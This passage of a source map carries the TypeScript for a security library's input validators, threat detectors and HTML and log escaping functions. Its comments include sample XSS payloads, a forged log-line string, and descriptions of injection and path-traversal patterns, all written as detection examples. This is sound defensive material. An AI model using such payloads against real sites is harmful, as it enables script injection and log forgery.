\"resource_abuse\":\n\t\t\treturn \"Input is too large or too repetitive to process\";\n\t\tdefault:\n\t\t\treturn assertNever(threat.type);\n\t}\n}\n\n//#endregion\n"],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"validators.mjs","names":[],"sources":["../src/validators.ts"],"sourcesContent":["/**\n * Copyright 2026 ResQ Systems, Inc.\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * @fileoverview Field-level validators, output encoders, and the compatibility\n * surface over the context-aware rule engine in `@resq-systems/security/threats`.\n *\n * The pattern arrays that used to live here are gone. Every detector below delegates\n * to {@link scanForThreats} with the context matching its sink, which is what stops a\n * detector meant for file paths from rejecting a biography. New code should call\n * `scanForThreats` directly and declare its own contexts; the `contains*` helpers\n * remain for callers written against the previous API.\n *\n * Detection is defense-in-depth. Output encoding, parameterized queries, path\n * containment, and argv-array process spawning are the controls.\n *\n * @module @resq-systems/security/validators\n */\n\nimport { assertNever } from \"@resq-systems/types\";\nimport { MAX_SCAN_LENGTH, scanForThreats } from \"./threats/engine.js\";\nimport type { ThreatContext, ThreatFinding, ThreatType } from \"./threats/types.js\";\nimport { analyzeIdentifier, containsBidiControls, foldConfusables } from \"./unicode/index.js\";\n\nexport type { ThreatFinding, ThreatType } from \"./threats/types.js\";\n\n//#region Result types\n\n/**\n * Outcome of {@link detectThreatPatterns}.\n *\n * `isSafe` is the boolean shortcut; `threats` carries the findings. Prefer\n * {@link scanForThreats}, whose result adds a numeric score and an allow/review/block\n * verdict instead of collapsing everything into one boolean.\n */\nexport interface ThreatDetectionResult {\n\t/** `true` when no detector fired. Equivalent to `threats.length === 0`. */\n\tisSafe: boolean;\n\t/** Findings from the enabled detectors, at most one per weakness category. */\n\tthreats: ThreatFinding[];\n}\n\n/**\n * Minimal shape {@link getThreatErrorMessage} needs.\n *\n * Deliberately narrower than {@link ThreatFinding} so callers can pass a hand-built\n * summary — or a finding from an older version of this package — without having to\n * populate the full record.\n */\nexport interface ThreatSummary {\n\t/** Weakness category. The only field the message depends on. */\n\treadonly type: ThreatType;\n\t/** Operator-facing description, if available. */\n\treadonly description?: string;\n\t/** Matched excerpt, if available. */\n\treadonly matchedPattern?: string;\n}\n\n//#endregion\n\n//#region Legacy detector configuration\n\n/**\n * Per-detector toggles for {@link detectThreatPatterns}.\n *\n * @deprecated Prefer {@link scanForThreats} with an explicit `contexts` list. These\n * booleans conflate \"which weakness am I looking for\" with \"where is this value\n * going\", and the second question is the one that decides whether a signature is\n * evidence or noise. Each flag maps onto a context: `checkXSS` → `html`,\n * `checkSQLInjection` → `sql`, `checkNoSQLInjection` → `nosql`,\n * `checkCommandInjection` → `shell`, `checkPathTraversal` → `filesystem`;\n * `checkHomoglyphs` runs UTS #39 identifier analysis.\n */\nexport interface ThreatDetectionConfig {\n\t/** Default `true`. Maps to the `html` context. */\n\tcheckXSS?: boolean;\n\t/** Default `true`. Maps to the `sql` context. */\n\tcheckSQLInjection?: boolean;\n\t/** Default `true`. Maps to the `nosql` context. */\n\tcheckNoSQLInjection?: boolean;\n\t/** Default `false` — opt in only when input reaches a shell. Maps to `shell`. */\n\tcheckCommandInjection?: boolean;\n\t/** Default `true`. Maps to the `filesystem` context. */\n\tcheckPathTraversal?: boolean;\n\t/** Default `true`. Runs UTS #39 identifier analysis rather than a pattern list. */\n\tcheckHomoglyphs?: boolean;\n}\n\n/** Translate the legacy toggles into engine contexts. */\nfunction contextsFor(config: ThreatDetectionConfig): ThreatContext[] {\n\tconst contexts: ThreatContext[] = [\"general_text\"];\n\tif (config.checkXSS !== false) contexts.push(\"html\");\n\tif (config.checkSQLInjection !== false) contexts.push(\"sql\");\n\tif (config.checkNoSQLInjection !== false) contexts.push(\"nosql\");\n\tif (config.checkCommandInjection === true) contexts.push(\"shell\");\n\tif (config.checkPathTraversal !== false) contexts.push(\"filesystem\");\n\treturn contexts;\n}\n\n/**\n * Run one context's rules and keep at most one finding, preserving the\n * one-finding-per-detector contract the `contains*` helpers have always had.\n */\nfunction firstFindingOfType(\n\tinput: string,\n\tcontexts: readonly ThreatContext[],\n\ttype: ThreatType,\n): ThreatFinding[] {\n\tconst result = scanForThreats(input, { contexts });\n\tconst finding = result.findings.find((candidate) => candidate.type === type);\n\treturn finding ? [finding] : [];\n}\n\n//#endregion\n\n//#region Category detectors\n\n/**\n * Detect XSS payloads — script tags, inline event handlers, dangerous URI schemes,\n * markup sinks — in a value bound for an HTML context.\n *\n * @param input - String to scan. Truncated at 100 000 characters.\n * @returns Empty array, or a single finding of type `\"xss\"`.\n *\n * @remarks\n * Prototype-pollution patterns (`__proto__`, `constructor[`) no longer surface here.\n * They are a distinct weakness class with distinct controls and now report as\n * `prototype_pollution` — see {@link containsPrototypePollution}.\n *\n * @example\n * ```ts\n * containsXSSPatterns(`<img src=x onerror=\"alert(1)\">`);\n * // → [{ ruleId: \"XSS-EVENT-HANDLER-001\", type: \"xss\", severity: \"high\", … }]\n * ```\n */\nexport function containsXSSPatterns(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"html\"], \"xss\");\n}\n\n/**\n * Detect prototype-pollution payloads — `__proto__`, `constructor.prototype`, and the\n * nested-object forms that arrive through a JSON body or query-string expansion.\n *\n * **Not the control.** Reject unknown keys with schema validation, build lookup\n * objects with `Object.create(null)`, and use a merge that skips `__proto__`,\n * `constructor`, and `prototype`.\n *\n * @param input - String to scan.\n * @returns Empty array, or a single finding of type `\"prototype_pollution\"`.\n */\nexport function containsPrototypePollution(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"object_merge\"], \"prototype_pollution\");\n}\n\n/**\n * Detect SQL-injection patterns in a value bound for a query.\n *\n * **Not a replacement for parameterized queries.** A bound parameter is safe whatever\n * keywords it contains; an interpolated one is unsafe however many signatures it\n * dodges. Use this for telemetry alongside binding, never instead of it.\n *\n * @param input - String to scan. Truncated at 100 000 characters.\n * @returns Empty array, or one finding of type `\"sql_injection\"`.\n */\nexport function containsSQLInjection(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"sql\"], \"sql_injection\");\n}\n\n/**\n * Detect NoSQL operator injection — `$where`, `$ne`, `$regex`, and the object and\n * array forms that bypass authentication filters in document stores.\n *\n * @param input - String to scan.\n * @returns Empty array, or one finding of type `\"nosql_injection\"`.\n */\nexport function containsNoSQLInjection(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"nosql\"], \"nosql_injection\");\n}\n\n/**\n * Detect shell command-injection patterns — command substitution, chained commands,\n * pipes into an interpreter.\n *\n * **Off by default in {@link detectThreatPatterns}**, because these patterns fire on\n * ordinary prose. Enable only when the value reaches a child process, and prefer\n * spawning with an argv array and `shell: false`, which makes the category moot.\n *\n * @param input - String to scan. Truncated at 100 000 characters.\n * @returns Empty array, or one finding of type `\"command_injection\"`.\n */\nexport function containsCommandInjection(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"shell\"], \"command_injection\");\n}\n\n/**\n * Detect path-traversal payloads — `../`, its percent-encoded and double-encoded\n * forms, NUL truncation, and references to sensitive system paths.\n *\n * **Not the control.** Use `resolveContainedPath` from\n * `@resq-systems/security/paths`, which resolves the candidate against a base\n * directory and verifies containment — a check that also catches absolute paths and\n * separator tricks no signature enumerates.\n *\n * @param input - String to scan.\n * @returns Empty array, or one finding of type `\"path_traversal\"`.\n */\nexport function containsPathTraversal(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"filesystem\"], \"path_traversal\");\n}\n\n/**\n * Base metadata for the synthetic finding {@link containsHomoglyphs} produces, shaped\n * like a catalog entry so downstream consumers see one consistent record.\n */\nconst MIXED_SCRIPT_FINDING = {\n\truleId: \"UNICODE-MIXED-SCRIPT-001\",\n\ttype: \"homoglyph\",\n\tseverity: \"high\",\n\tconfidence: \"medium\",\n\tdescription: \"Identifier mixes scripts in a combination used for visual spoofing\",\n\tcwe: 1007,\n\tprimaryControl:\n\t\t\"Compare UTS #39 skeletons at registration time and enforce an identifier restriction level\",\n\tvariant: \"nfc\",\n} as const satisfies Omit<ThreatFinding, \"matchedPattern\">;\n\n/** Overrides applied when the identifier carries a bidirectional control. */\nconst BIDI_FINDING_OVERRIDE = {\n\truleId: \"UNICODE-BIDI-OVERRIDE-001\",\n\tseverity: \"critical\",\n\tconfidence: \"high\",\n\tdescription: \"Bidirectional override character in an identifier\",\n\tcwe: 451,\n} as const;\n\n/**\n * Detect visually confusable characters in a **protected identifier**.\n *\n * Backed by UTS #39 script analysis rather than a hand-written lookalike table, so it\n * reports the actual signal — a Latin/Cyrillic mix in `pаypal` — instead of flagging\n * every non-ASCII character. Single-script values are not confusable with anything, so\n * `Ольга Иванова` and `東京タワー` pass where the previous implementation rejected both.\n *\n * Scope this to usernames, domains, org names, and package names. Do **not** run it on\n * prose or on people's names — see {@link validatePersonName}.\n *\n * @param input - Identifier to scan.\n * @returns Empty array, or a single finding of type `\"homoglyph\"`.\n */\nexport function containsHomoglyphs(input: string): ThreatFinding[] {\n\tif (!input || typeof input !== \"string\") return [];\n\n\t// Bounded for the same reason the engine bounds itself, and to the same length.\n\t// `detectThreatPatterns` truncates before the 132-rule scan but used to hand the\n\t// full string to this sibling path, so the cap protected the expensive half and\n\t// left this one open — and this path is O(n) per character with no early exit.\n\t// Mixed-script evidence in the first 100k characters is exactly as conclusive as\n\t// evidence in the first 10MB, so the bound costs no detection. Applied here\n\t// rather than at the call site because this is a public export.\n\tconst bounded = input.length > MAX_SCAN_LENGTH ? input.slice(0, MAX_SCAN_LENGTH) : input;\n\n\tconst analysis = analyzeIdentifier(bounded);\n\tif (!analysis.isMixedScript && !analysis.hasBidiControls) return [];\n\n\treturn [\n\t\t{\n\t\t\t...MIXED_SCRIPT_FINDING,\n\t\t\t...(analysis.hasBidiControls ? BIDI_FINDING_OVERRIDE : {}),\n\t\t\tmatchedPattern: analysis.scripts.join(\"+\").slice(0, 50),\n\t\t},\n\t];\n}\n\n//#endregion\n\n//#region Aggregate detection\n\n/**\n * Run the enabled detectors against `input` and aggregate findings.\n *\n * @deprecated Prefer {@link scanForThreats}, which takes explicit contexts and returns\n * a score and verdict rather than one boolean. This wrapper maps the legacy toggles\n * onto contexts and keeps the one-finding-per-category shape.\n *\n * Non-string input (`null`, `undefined`, a number) is reported safe — wrap your own\n * type validation around this if you need to reject those.\n *\n * @param input - The candidate string.\n * @param config - Detector toggles. Everything except command injection defaults on.\n * @returns `{ isSafe, threats }`.\n */\nexport function detectThreatPatterns(\n\tinput: string,\n\tconfig: ThreatDetectionConfig = {},\n): ThreatDetectionResult {\n\tif (!input || typeof input !== \"string\") {\n\t\treturn { isSafe: true, threats: [] };\n\t}\n\n\tconst result = scanForThreats(input, { contexts: contextsFor(config) });\n\n\t// Collapse to at most one finding per category, matching the historical contract.\n\tconst threats: ThreatFinding[] = [];\n\tconst seen = new Set<ThreatType>();\n\tfor (const finding of result.findings) {\n\t\tif (seen.has(finding.type)) continue;\n\t\tseen.add(finding.type);\n\t\tthreats.push(finding);\n\t}\n\n\tif (config.checkHomoglyphs !== false) {\n\t\tthreats.push(...containsHomoglyphs(input));\n\t}\n\n\treturn { isSafe: threats.length === 0, threats };\n}\n\n/**\n * Boolean shortcut over {@link detectThreatPatterns}.\n *\n * @param input - String to test.\n * @param config - Optional detector toggles.\n * @returns `true` when no detector fires.\n */\nexport function isSafeInput(input: string, config?: ThreatDetectionConfig): boolean {\n\treturn detectThreatPatterns(input, config).isSafe;\n}\n\n//#endregion\n\n//#region Output encoding\n\n/**\n * HTML-entity-escape a value being inserted as **element text**.\n *\n * Escapes `&`, `<`, `>`, `\"`, `'`, and `/`, which covers text nodes and fully quoted\n * attribute values.\n *\n * **Output encoding is context-dependent.** HTML text, quoted attributes, unquoted\n * attributes, URLs, JavaScript string literals, and CSS each have different rules, and\n * no single function is correct for all of them. This one is correct for text; use\n * {@link escapeHtmlAttribute} for attribute values, `sanitizeUrl` for URLs, and\n * `sanitizeHtml` (DOMPurify) when the value is meant to *be* markup.\n *\n * There is deliberately no CSS-context escaper here, and no general JavaScript-string\n * escaper — hand-rolled versions of those are reliably wrong, and the fix is to stop\n * interpolating untrusted values into style and script *source*. Embedding untrusted\n * *data* in a script element is the one tractable case, because `JSON.stringify` fixes\n * the string boundaries first; {@link encodeJsonForScript} covers that and nothing else.\n *\n * @param input - Untrusted string. Non-string or empty input yields `\"\"`.\n * @returns Entity-escaped output safe to interpolate into HTML text.\n *\n * @example\n * ```ts\n * escapeHtmlText('<script>alert(\"xss\")</script>');\n * // \"<script>alert("xss")</script>\"\n * ```\n */\nexport function escapeHtmlText(input: string): string {\n\tif (!input || typeof input !== \"string\") return \"\";\n\n\treturn input\n\t\t.replace(/&/g, \"&\")\n\t\t.replace(/</g, \"<\")\n\t\t.replace(/>/g, \">\")\n\t\t.replace(/\"/g, \""\")\n\t\t.replace(/'/g, \"'\")\n\t\t.replace(/\\//g, \"/\");\n}\n\n/**\n * Control characters escaped in attribute position.\n *\n * The C0 and C1 ranges plus the two Unicode line terminators. The set is the point:\n * HTML's unquoted-attribute state ends at space, tab, LF, FF or CR, and this used to\n * escape tab, LF and CR but not **form feed**. It also escaped CR, which the input\n * stream preprocessor normalises to LF before the tokenizer runs — so three of the four\n * real terminators were covered, plus the one that cannot matter.\n *\n * @see https://html.spec.whatwg.org/multipage/parsing.html\n */\n// biome-ignore lint/suspicious/noControlCharactersInRegex: escaping control characters is the purpose\nconst ATTRIBUTE_CONTROL_CHARS = /[\\u0000-\\u001f\\u007f-\\u009f\\u2028\\u2029]/g;\n\n/**\n * HTML-entity-escape a value being inserted as an **attribute value**.\n *\n * Everything {@link escapeHtmlText} escapes, plus backtick, equals, and whitespace —\n * the characters that let a payload break out of an *unquoted* attribute. That case is\n * precisely what generic \"escape for display\" helpers get wrong.\n *\n * The ceiling on the unquoted case is injection of a valueless boolean attribute —\n * `autofocus`, `disabled`, `formnovalidate` — not script execution: an injected\n * `onmouseover=…` arrives with its `=` already escaped, so it lands as an attribute\n * whose *name* is the escaped text, with no handler bound.\n *\n * Quote your attributes anyway. This makes an unquoted attribute survivable; it does\n * not make it correct.\n *\n * @param input - Untrusted string. Non-string or empty input yields `\"\"`.\n * @returns Output safe to interpolate into a quoted or unquoted attribute value.\n */\nexport function escapeHtmlAttribute(input: string): string {\n\tif (!input || typeof input !== \"string\") return \"\";\n\n\treturn escapeHtmlText(input)\n\t\t.replace(/`/g, \"`\")\n\t\t.replace(/=/g, \"=\")\n\t\t.replace(/ /g, \" \")\n\t\t.replace(ATTRIBUTE_CONTROL_CHARS, (character) => {\n\t\t\tconst hex = (character.codePointAt(0) ?? 0).toString(16).toUpperCase();\n\t\t\treturn `&#x${hex.padStart(2, \"0\")};`;\n\t\t});\n}\n\n/**\n * HTML-entity-escape a value for display.\n *\n * @deprecated Renamed to {@link escapeHtmlText}, which says what it actually does. The\n * old name suggested a general-purpose \"make this safe to display\" operation, and\n * callers reasonably read it as attribute-safe — which entity escaping alone is not,\n * for *unquoted* attributes. Behaviour is unchanged; only the name is.\n *\n * @param input - Untrusted string.\n * @returns Entity-escaped output.\n */\nexport function sanitizeForDisplay(input: string): string {\n\treturn escapeHtmlText(input);\n}\n\n//#endregion\n\n/** Cap on the input a log value is read from, before escaping expands it. */\nconst DEFAULT_LOG_VALUE_LENGTH = 2048;\n\n/**\n * Characters that must not reach a log sink as themselves.\n *\n * C0 and C1, the zero-width and bidirectional formatting ranges, and the byte-order\n * mark. ESC lives inside C0, which is why no separate ANSI sequence matching is needed:\n * escaping the introducer alone neutralises every terminal sequence *losslessly*,\n * whereas deleting whole sequences would discard the payload a reader is investigating.\n * The bidi range matters for the same reason `UNICODE-BIDI-OVERRIDE-001` exists — a\n * right-to-left override reorders how a log line renders without changing its bytes.\n */\nconst LOG_UNSAFE_CHARS =\n\t// biome-ignore lint/suspicious/noControlCharactersInRegex: escaping control characters is the purpose\n\t/[\\u0000-\\u001f\\u007f-\\u009f\\u200b-\\u200f\\u2028-\\u202e\\u2060-\\u2064\\u2066-\\u2069\\ufeff]/g;\n\n/** Readable forms for the three characters a reader expects to recognise. */\nconst LOG_SHORTHAND: Readonly<Record<string, string>> = {\n\t\"\\t\": \"\\\\t\",\n\t\"\\n\": \"\\\\n\",\n\t\"\\r\": \"\\\\r\",\n};\n\n/**\n * Escape a value for inclusion in a log record.\n *\n * This is the control named by the log-injection rules. A log line is a *sink*: a value\n * carrying a newline forges an entry (CWE-117), one carrying a terminal escape rewrites\n * what an operator sees, and one carrying a bidirectional override reorders the line\n * without altering a byte of it.\n *\n * Escaping rather than stripping is deliberate. The record is evidence, so the encoded\n * form is reversible and nothing is silently discarded — contrast `stripAnsi`, which\n * deletes. Structured logging is still the better answer, because it removes the\n * ambiguity this function can only make visible; use both.\n *\n * @param value - Untrusted field value. Non-string or empty input yields `\"\"`.\n * @param options - Optional bounds.\n * @param options.maxLength - Characters read from `value`. Defaults to 2048. Truncation\n * is announced in the output rather than applied silently, and the returned string may\n * exceed this length, because escaping expands.\n * @returns A single-line, control-free rendering of `value`.\n *\n * @example\n * ```ts\n * encodeLogValue(\"alice\\nINFO user promoted to admin\");\n * // \"alice\\\\nINFO user promoted to admin\" — one line, no forged entry\n * ```\n */\nexport function encodeLogValue(\n\tvalue: string,\n\toptions: { readonly maxLength?: number } = {},\n): string {\n\tif (!value || typeof value !== \"string\") return \"\";\n\n\tconst { maxLength = DEFAULT_LOG_VALUE_LENGTH } = options;\n\tconst limit = Number.isInteger(maxLength) && maxLength > 0 ? maxLength : DEFAULT_LOG_VALUE_LENGTH;\n\n\tconst dropped = value.length - limit;\n\tconst bounded = dropped > 0 ? value.slice(0, limit) : value;\n\n\tconst encoded = bounded.replace(LOG_UNSAFE_CHARS, (character) => {\n\t\tconst shorthand = LOG_SHORTHAND[character];\n\t\tif (shorthand !== undefined) return shorthand;\n\t\tconst hex = (character.codePointAt(0) ?? 0).toString(16).padStart(4, \"0\");\n\t\treturn `\\\\u${hex}`;\n\t});\n\n\treturn dropped > 0 ? `${encoded}[truncated ${dropped} chars]` : 